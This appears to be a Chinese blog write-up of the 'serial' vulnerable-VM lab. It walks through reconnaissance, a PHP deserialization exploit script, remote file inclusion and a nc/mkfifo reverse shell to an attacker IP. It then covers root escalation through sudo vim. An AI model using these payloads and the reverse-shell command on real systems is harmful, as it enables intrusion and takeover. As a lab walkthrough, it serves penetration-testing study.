当前位置: 首页 > news >正文

【反序列化漏洞】serial靶机详解

一、安装靶机

首先创建新的虚拟机。

然后选择客户机版本为Ubuntu 64位。

然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。剩下的都是默认

二、信息收集

发现主机192.168.204.143

访问

扫描端口nmap -A 192.168.204.143 -p-,发现只有ssh:22和http:80服务的端口

扫描目录

Index.php我们已经访问过了,所以我们访问另一个

点击bak.zip给我下载到了本地打开发现三个php文件,解压打开

打开文件,发现unserialize()反序列函数,通过代码审计发现有用户传入的参数,有可能是php反序列化漏洞

三、漏洞利用

对index页面抓包

将cookiebase64解密之后,确实是序列化

之后便是分析php文件,找pop链(感觉代码放这里看不明显,直接上截图)

cookie有值就直接反序列化,这里包含了uesr.class.php文件,去看一下

uesr.class.php文件

log.class.php

构造exp,记住所有变量前用public修饰

<?phpclass Log {public $type_log = "/etc/passwd ";}class User {public $name;public $wel;function __construct($name) {$this->name = $name;$this->wel = new Log();}}$us = new User("sk4");print_r(serialize($us));?>

得到 O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}之后去base64编码之后,赋值给cookie,成功执行

四、获取shell

因为这样执行命令不太方便,我们可以换一种方式,在本地打开web服务,写个命令执行代码,写到www文件夹里的3.php里面(访问该文件:http://192.168.3.46/3.php

),尝试看能不能远程包含

修改type_log的值,将运行的结果base64编码,改cookie,成功访问,证明可以远程包含

发现一直报错显示无法执行空逗号,我那时候还在疑惑为什么不行,试了很久发现是包含文件是php形式的错,包含的文件会先自己进行解析(这里是test.php,会先按php进行解析),解析之后的内容再到包含文件的地方,按它那里的格式进行解析(这里是php文件,按php解析),因此这里test.php先解析的时候,$_GET['x']没有值,因此报错,而按txt解析的时候不会报这个错误,因为被当做字符串

将test.php换为test.txt,之后重新序列化,编码,写入cookie,参数,发现成功执行

添加反弹shell:

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.204.136+4444+>/tmp/f

,没有回应,但反弹shell成功

五、提权

执行whoami,发现是www-data用户,查看根目录下的文件,发现敏感文件credentials.txt.bak,我们查看一下

查看文件获取到一个用户名和密码

我们前面信息收集的时候发现22端口是打开的,我们ssh远程登陆一下,输入靶机的ip,再输入我们刚刚得到用户名和密码,登陆

尝试提权,试试sudo vim,进入到命令模式输入!bash

提权成功

相关文章:

【反序列化漏洞】serial靶机详解

一、安装靶机 首先创建新的虚拟机。 然后选择客户机版本为Ubuntu 64位。 然后选择使用现有磁盘&#xff0c;选择下载的vmdk磁盘文件即可。剩下的都是默认 二、信息收集 发现主机192.168.204.143 访问 扫描端口nmap -A 192.168.204.143 -p-&#xff0c;发现只有ssh:22和http:8…...

C#列表按照日期进行从大到小排序

C#列表按照日期进行从大到小排序...

rt-thread每个线程状态切换方法

线程状态 RT-Thread 中线程的状态定义在 rt_thread.h 头文件中&#xff0c;通常包括以下几种状态&#xff1a; RT_THREAD_INIT&#xff1a;线程初始化状态。RT_THREAD_READY&#xff1a;线程就绪状态。RT_THREAD_SUSPEND&#xff1a;线程挂起状态。RT_THREAD_RUNNING&#xf…...

visual studio跳转到上一个/下一个光标处的快捷键设置

vscode能通过Alt左右箭头跳转到上/下一个光标处&#xff0c;这对于“点进函数看源码&#xff0c;看完后跳转到原来位置”是非常方便的。 在Visual Studio中&#xff0c;有2种方法实现这样的功能。 第一种&#xff0c;直接点击这两个按钮&#xff1a;&#xff08;缺点是每次要用…...

网络基础命令配置复习 (基础华为设备)

目录 一.前言 二.Telnet远程登陆 2.1telnet介绍 2.2telnet的配置 三.交换机基础配置 四.致谢 一.前言 网络基础不仅是IT从业者的必备知识&#xff0c;也是日常生活中使用网络的人们应该了解的内容。通过学习和掌握这些基础知识&#xff0c;你将能更好地理解和利用现…...

在AspNetCoreRateLimit中,ClientRateLimiting 和 IpRateLimiting 都有的时候按谁的来

在AspNetCoreRateLimit中&#xff0c;当同时配置了ClientRateLimiting&#xff08;基于客户端ID的速率限制&#xff09;和IpRateLimiting&#xff08;基于IP地址的速率限制&#xff09;时&#xff0c;它们的应用方式主要取决于请求的特性和配置的设置。以下是对这两种速率限制方…...

PEP 8 – Python 代码风格指南中文版(五)

强制性&#xff1a;命名约定 应避免的命名 永远不要使用字符‘l’&#xff08;小写字母el&#xff09;、‘O’&#xff08;大写字母oh&#xff09;或‘I’&#xff08;大写字母eye&#xff09;作为单字符变量名。在某些字体中&#xff0c;这些字符与数字1和0难以区分。当想使…...

Spring中是如何实现IoC和DI的?

前言&#xff1a;在前一篇文章中对于IoC的核心思想进行了讲解&#xff0c;而本篇文章则从Spring的角度入手&#xff0c;体会Spring对于IoC是如何实现的。 如果对IoC还有不太了解的可以阅读上一篇文章&#xff0c;相信一定会带来全新的收获&#xff1a;什么是IoC&#xff08;控制…...

Excel第33享:借助易用宝将多个表格合并到一个表格

1、需求描述 现有3个销售数据的Excel表格&#xff0c;希望将其整合到一个表格里&#xff0c;如下图所示。 2、具体操作 &#xff08;1&#xff09;下载一个插件“易用宝”。 下载地址&#xff1a;最新版下载 | Excel易用宝 如果本地址失效&#xff0c;可以直接百度搜索“易…...

opencascade AIS_TrihedronOwner源码学习对象的实体所有者用于选择管理

opencascade AIS_TrihedronOwner 前言 AIS_Trihedron对象的实体所有者用于选择管理。 在OpenCascade的AIS&#xff08;交互对象框架&#xff09;中&#xff0c;管理类似AIS_Trihedron的对象的选择涉及理解如何处理实体&#xff08;或所有者&#xff09;以进行选择。 方法 1…...

面试经典算法150题系列-跳跃游戏||

跳跃游戏|| 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处: 0 < j < nums[i] i j < n 返回到达 num…...

uniapp h5支付(支付宝和微信支付)

支付宝和微信支付 支付宝 创建一个页面&#xff0c;复制下面即可 <template><view><div class"body" v-html"formUrl"></div></view> </template><script>export default {data() {return {formUrl: // 用于…...

Radamsa:一款高性能通用模糊测试工具

关于Radamsa Radamsa是一款高性能的通用模糊测试工具&#xff0c;广大研究人员可以将其当作一个应用程序稳定性测试的测试用例生成工具。 工具运行机制 该工具使用简单&#xff0c;支持自定义脚本开发&#xff0c;可以用于测试程序对格式错误和潜在恶意输入的承受能力。它的工…...

css中使用data中的变量

一、定义变量 data() {return {myColor:"#2a9efb",}; },二、在templete中激活 说明&#xff1a;这里其实类似于设置 document.documentElement.style.setProperty(--myColor, myColor),而我们现在只是给div设置了变量属性&#xff0c;并且是在当前页面设置的&#x…...

Java 设计模式之策略模式 (Strategy Pattern) 详解

Java 设计模式之策略模式 (Strategy Pattern) 详解 策略模式&#xff08;Strategy Pattern&#xff09;是一种行为型设计模式&#xff0c;旨在定义一系列算法&#xff0c;将每个算法封装起来&#xff0c;并使它们可以互相替换&#xff0c;从而使得算法的变化不会影响使用算法的…...

习题20240803(未完成)

文章目录 一、Linq练习 使用Linq完成下面练习1.题目: 返回 numbers 列表中的所有数字。2.题目: 返回 numbers 列表中的所有偶数。3.题目: 返回 numbers 列表中所有大于10的数字。4.题目: 返回 students 列表中所有学生的姓名。5.题目: 返回 numbers 列表按升序排序后的数字。6.…...

C语言程序设计25

《C程序设计教程&#xff08;第四版&#xff09;——谭浩强》 习题2.2 分析下面程序的运行结果&#xff0c;然后上机验证。 代码&#xff1a; //《C程序设计教程&#xff08;第四版&#xff09;——谭浩强》 //习题2.2 分析下面程序的运行结果&#xff0c;然后上机验证。#inc…...

TypeScript 基础类型与类型声明

前言 在 JavaScript 中&#xff0c;变量是没有类型的&#xff0c;变量的值的类型是在运行时确定的&#xff0c;这被称为动态类型。 这意味着可以在不同的时间将不同类型的值赋给同一个变量&#xff0c;并且 JavaScript 会在运行时根据当前赋给变量的值来确定其类型。 示例&…...

算法:BFS 解决多源最短路问题

目录 多源最短路 题目一&#xff1a;矩阵 题目二&#xff1a;飞地的数量 题目三&#xff1a;地图中的最高点 题目四&#xff1a;地图分析 多源最短路 首先想要知道多源最短路&#xff0c;就先要明白单源最短路&#xff0c;bfs解决单源最短路问题前面学习过&#xff0c;单…...

grep工具的使用

grep [options]…… pattern [file]…… 工作方式&#xff1a; grep 在一个或者多个文件中搜索字符串模板&#xff0c;如果模板中包括空格&#xff0c;需要使用引号引起来&#xff0c;模 板后的所有字符串会被看作是文件名。 工作结果&#xff1a;如果模板搜索成功&#xf…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》

引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

DockerHub与私有镜像仓库在容器化中的应用与管理

哈喽&#xff0c;大家好&#xff0c;我是左手python&#xff01; Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库&#xff0c;用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

STM32F4基本定时器使用和原理详解

STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...

相机从app启动流程

一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...

【Go语言基础【13】】函数、闭包、方法

文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数&#xff08;函数作为参数、返回值&#xff09; 三、匿名函数与闭包1. 匿名函数&#xff08;Lambda函…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

阿里云Ubuntu 22.04 64位搭建Flask流程(亲测)

cd /home 进入home盘 安装虚拟环境&#xff1a; 1、安装virtualenv pip install virtualenv 2.创建新的虚拟环境&#xff1a; virtualenv myenv 3、激活虚拟环境&#xff08;激活环境可以在当前环境下安装包&#xff09; source myenv/bin/activate 此时&#xff0c;终端…...

第八部分:阶段项目 6:构建 React 前端应用

现在&#xff0c;是时候将你学到的 React 基础知识付诸实践&#xff0c;构建一个简单的前端应用来模拟与后端 API 的交互了。在这个阶段&#xff0c;你可以先使用模拟数据&#xff0c;或者如果你的后端 API&#xff08;阶段项目 5&#xff09;已经搭建好&#xff0c;可以直接连…...

文件上传漏洞防御全攻略

要全面防范文件上传漏洞&#xff0c;需构建多层防御体系&#xff0c;结合技术验证、存储隔离与权限控制&#xff1a; &#x1f512; 一、基础防护层 前端校验&#xff08;仅辅助&#xff09; 通过JavaScript限制文件后缀名&#xff08;白名单&#xff09;和大小&#xff0c;提…...

React核心概念:State是什么?如何用useState管理组件自己的数据?

系列回顾&#xff1a; 在上一篇《React入门第一步》中&#xff0c;我们已经成功创建并运行了第一个React项目。我们学会了用Vite初始化项目&#xff0c;并修改了App.jsx组件&#xff0c;让页面显示出我们想要的文字。但是&#xff0c;那个页面是“死”的&#xff0c;它只是静态…...